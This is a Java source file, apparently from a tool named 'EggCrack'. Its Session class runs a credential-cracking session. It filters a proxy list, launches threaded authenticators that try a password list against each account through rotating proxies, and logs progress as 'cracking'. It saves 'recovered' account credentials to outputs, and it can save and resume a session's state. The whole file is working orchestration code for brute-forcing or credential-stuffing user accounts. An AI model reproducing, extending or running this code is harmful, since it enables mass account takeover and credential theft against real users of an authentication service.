package net.teamlixo.eggcrack.session;
import net.teamlixo.eggcrack.EggCrack;
import net.teamlixo.eggcrack.account.Account;
import net.teamlixo.eggcrack.account.AccountListener;
import net.teamlixo.eggcrack.account.AuthenticatedAccount;
import net.teamlixo.eggcrack.account.output.AccountOutput;
import net.teamlixo.eggcrack.account.output.AttemptedAccount;
import net.teamlixo.eggcrack.authentication.AuthenticationCallback;
import net.teamlixo.eggcrack.authentication.AuthenticationService;
import net.teamlixo.eggcrack.authentication.RunnableAuthenticator;
import net.teamlixo.eggcrack.credential.Credential;
import net.teamlixo.eggcrack.credential.Credentials;
import net.teamlixo.eggcrack.list.ExtendedList;
import net.teamlixo.eggcrack.list.array.ExtendedArrayList;
import net.teamlixo.eggcrack.objective.Objective;
import net.teamlixo.eggcrack.proxy.ProxyCallback;
import net.teamlixo.eggcrack.proxy.RunnableProxyChecker;
import java.io.*;
import java.net.Proxy;
import java.net.URL;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.UUID;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Future;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.logging.Logger;
public class Session implements Runnable, AuthenticationCallback, ProxyCallback {
private final ThreadPoolExecutor executorService;
private final AuthenticationService authenticationService;
private final ExtendedList<Account> accountList;
private final ExtendedList<Credential> credentialList;
private final ExtendedList<Proxy> proxyList;
private final ExtendedList<Objective> objectiveList;
private final ExtendedList<AccountOutput> outputList;
private final Tracker tracker;
private final int proxyTimeout;
private SessionListener sessionListener;
private final URL checkUrl;
private volatile boolean running = true;
public Session(ThreadPoolExecutor executorService,
AuthenticationService authenticationService,
ExtendedList<Account> accountList,
ExtendedList<Credential> credentialList,
ExtendedList<Proxy> proxyList,
ExtendedList<Objective> objectiveList,
ExtendedList<AccountOutput> outputList,
Tracker tracker,
URL checkUrl,
int proxyTimeout) {
this.executorService = executorService;
this.authenticationService = authenticationService;
this.accountList = accountList;
this.credentialList = credentialList;
this.proxyList = proxyList;
this.objectiveList = objectiveList;
this.outputList = outputList;
this.tracker = tracker;
this.tracker.setTotal(accountList.size());
this.checkUrl = checkUrl;
this.proxyTimeout = proxyTimeout;
}
public void setListener(SessionListener sessionListener) {
this.sessionListener = sessionListener;
}
public void setRunning(boolean running) {
this.running = running;
}
@Override
public void run() {
ExtendedList<Future> futureList = new ExtendedArrayList<Future>();
Iterator<Proxy> proxyIterator = proxyList.iterator(false);
if (checkUrl != null) {
if (sessionListener != null) sessionListener.started(SessionListener.Step.PROXY_CHECKING);
EggCrack.LOGGER.info("Checking proxies with URL \"" + checkUrl.toString() + "\"...");
long start = System.currentTimeMillis();
synchronized (proxyList) {
while (proxyIterator.hasNext())
futureList.add(
executorService.submit(
new RunnableProxyChecker(
proxyIterator.next(),
checkUrl,
this,
proxyTimeout
)
)
);
}
waitFutures(futureList, new FutureRunnable() {
long lastSecond = 0L;
@Override
public boolean run(float progress) {
long time = System.currentTimeMillis();
if (time - lastSecond >= 1000L) {
lastSecond = time;
if (sessionListener != null) sessionListener.update(progress, tracker, proxyList.size());
EggCrack.LOGGER.info((int) (Math.floor((double)progress * 1000d) / 10d) + "% complete.");
}
return running;
}
});
EggCrack.LOGGER.info("Proxy check completed successfully in " +
(System.currentTimeMillis() - start) + "ms. Proxies available: " + proxyList.size() + ".");
}
EggCrack.LOGGER.info("Startup complete; initiating session...");
if (sessionListener != null) sessionListener.started(SessionListener.Step.CRACKING);
futureList.clear();
proxyIterator = proxyList.iterator(true);
Iterator<Account> accountIterator = accountList.iterator(false);
while (accountIterator.hasNext())
futureList.add(
executorService.submit(
new RunnableAuthenticator(
this,
authenticationService,
accountIterator.next(),
tracker,
credentialList.iterator(false),
proxyIterator,
this
)
)
);
final long totalAttempts = Math.max(accountList.size(), accountList.size() * credentialList.size());
waitFutures(futureList, new FutureRunnable() {
long lastSecond = System.currentTimeMillis();
long requestsLastSecond = 0;
long attemptsLastSecond = 0;
@Override
public boolean run(float progress) {
if (!running) return false; //Break.
if (System.currentTimeMillis() > lastSecond + 1000) {
Iterator<Account> accountIterator = accountList.iterator(false);
progress = 0f;
while (accountIterator.hasNext()) {
Account account = accountIterator.next();
if (account.getState() == Account.State.WAITING) continue;
progress += account.getProgress() * (1f / (float)accountList.size());
}
lastSecond = System.currentTimeMillis();
if (sessionListener != null) sessionListener.update(
progress,
tracker,
proxyList.size() - authenticationService.unavailableProxies()
);
EggCrack.LOGGER.info((Math.floor(Math.max(progress * 1000f, ((float)tracker.getAttempts() / (float)totalAttempts) * 1000f)) / 10f) + "% complete (" +
tracker.getCompleted() + "/" + (accountList.size() - tracker.getFailed()) + ") | Attempts: " +
tracker.getAttempts() + " (" + (tracker.getAttempts() - attemptsLastSecond) + " of " +
(tracker.getRequests() - requestsLastSecond) + " requests)");
requestsLastSecond = tracker.getRequests();
attemptsLastSecond = tracker.getAttempts();
}
Iterator<Objective> objectiveIterator = objectiveList.iterator(false);
while (objectiveIterator.hasNext()) {
Objective objective = objectiveIterator.next();
if (objective.check(tracker)) {
//Shutdown
EggCrack.LOGGER.info(objective.getClass().getSimpleName() + " was met; ending session.");
return false; //Break.
}
}
return true;
}
});
Iterator<Future> futureIterator = futureList.iterator(false);
while (futureIterator.hasNext()) {
futureIterator.next().cancel(true);
futureIterator.remove();
}
setRunning(false);
if (sessionListener != null) sessionListener.completed();
EggCrack.LOGGER.info("Session complete. Runtime: " + (tracker.elapsedMilliseconds() / 1000f) + " seconds.");
EggCrack.LOGGER.info(" Total requests: " + tracker.getRequests());
EggCrack.LOGGER.info(" Attempts: " + tracker.getAttempts() + " (" + (Math.floor(((float) tracker.getAttempts() / (float) tracker.getRequests()) * 1000f) / 10f) + "%)");
EggCrack.LOGGER.info(" Accounts completed: " + tracker.getCompleted());
EggCrack.LOGGER.info(" Accounts failed: " + tracker.getFailed());
}
@Override
public void onAuthenticationCompleted(AuthenticatedAccount account) {
EggCrack.LOGGER.info("Account successfully recovered: " + account.getUsername());
Iterator<AccountOutput> accountOutputIterator = outputList.iterator(false);
while (accountOutputIterator.hasNext()) {
AccountOutput accountOutput = accountOutputIterator.next();
try {
accountOutput.save(account);
} catch (IOException e) {
EggCrack.LOGGER.severe("Failed to save credentials for " + account.getUsername() +
" (" + accountOutput.getClass().getSimpleName() + "): " + e.getMessage());
}
}
synchronized (tracker) {
tracker.setCompleted(tracker.getCompleted() + 1);
}
}
@Override
public void onAuthenticationFailed(Account account) {
synchronized (tracker) {
tracker.setFailed(tracker.getFailed() + 1);
}
}
@Override
public void onProxyFailed(Proxy proxy) {
synchronized (proxyList) {
proxyList.remove(proxy);
}
}
private static void waitFutures(ExtendedList<Future> futureList, FutureRunnable update) {
Iterator<Future> futureIterator = futureList.iterator(true);
int original = futureList.size();
while (futureIterator.hasNext()) {
Future future = futureIterator.next();
if (future.isDone() || future.isCancelled()) futureIterator.remove();
if (!update.run(1f - ((float)futureList.size() / (float)original))) break;
}
}
public boolean isRunning() {
return running;
}
public String getCurrentThreads() {
return String.valueOf(executorService.getActiveCount());
}
private interface FutureRunnable {
public boolean run(float progress);
}
public static Session loadSession(File file,
ThreadPoolExecutor executorService,
AuthenticationService authenticationService,
ExtendedList<Proxy> proxyList,
ExtendedList<Objective> objectiveList,
ExtendedList<AccountOutput> outputList,
Tracker tracker,
URL checkUrl,
int proxyTimeout,
AccountListener listener) throws IOException {
DataInputStream dataInputStream = new DataInputStream(new FileInputStream(file));
int magic = dataInputStream.readInt();
if (magic != 0xEDDCDAC) throw new IOException("Invalid format.");
// Read accounts from file
ExtendedList<Account> accountList = new ExtendedArrayList<Account>();
int accounts = dataInputStream.readInt();
int firstIndex = Integer.MAX_VALUE;
for (int i = 0; i < accounts; i ++) {
String username = dataInputStream.readUTF();
boolean b = dataInputStream.readBoolean();
int passwordIndex = 0;
if (!b) {
passwordIndex = dataInputStream.readInt();
firstIndex = Math.min(passwordIndex, firstIndex);
Account account = new AttemptedAccount(username);
account.setPasswordIndex(passwordIndex);
account.setState(b ? Account.State.FINISHED : Account.State.WAITING);
account.setListener(listener);
boolean hasPassword = dataInputStream.readBoolean();
if (hasPassword) account.setUncheckedPassword(dataInputStream.readUTF());
accountList.add(account);
} else firstIndex = passwordIndex;
}
// Read credentials from file
ExtendedList<Credential> credentialList = new ExtendedArrayList<Credential>();
int passwords = dataInputStream.readInt();
for (int i = firstIndex; i < passwords; i ++)
credentialList.add(Credentials.createPassword(dataInputStream.readUTF()));
// Adjust the entire account list by the first password index known.
for (Account account : accountList.toList())
account.setPasswordIndex(account.getPasswordIndex() - firstIndex);
return new Session(
executorService,
authenticationService,
accountList,
credentialList,
proxyList,
objectiveList,
outputList,
tracker,
checkUrl,
proxyTimeout
);
}
public static void saveSession(Session session, File file) throws IOException {
DataOutputStream dataOutputStream = new DataOutputStream(new FileOutputStream(file));
dataOutputStream.writeInt(0xEDDCDAC);
// Write accounts to file
List<Account> accountList = session.accountList.toList();
dataOutputStream.writeInt(accountList.size());
int firstIndex = Integer.MAX_VALUE;
for (Account account : accountList) {
dataOutputStream.writeUTF(account.getUsername());
boolean b = account.getState() == Account.State.FINISHED;
dataOutputStream.writeBoolean(b);
if (!b) {
firstIndex = Math.min(account.getPasswordIndex(), firstIndex);
dataOutputStream.writeInt(account.getPasswordIndex());
dataOutputStream.writeBoolean(account.getUncheckedPassword() != null);
if (account.getUncheckedPassword() != null)
dataOutputStream.writeUTF(account.getUncheckedPassword());
} else
firstIndex = 0;
}
// Write passwords to file
List<Credential> credentialList = session.credentialList.toList();
dataOutputStream.writeInt(credentialList.size());
for (int i = firstIndex; i < credentialList.size(); i ++) {
dataOutputStream.writeUTF(credentialList.get(i).toString());
}
dataOutputStream.close();
}
}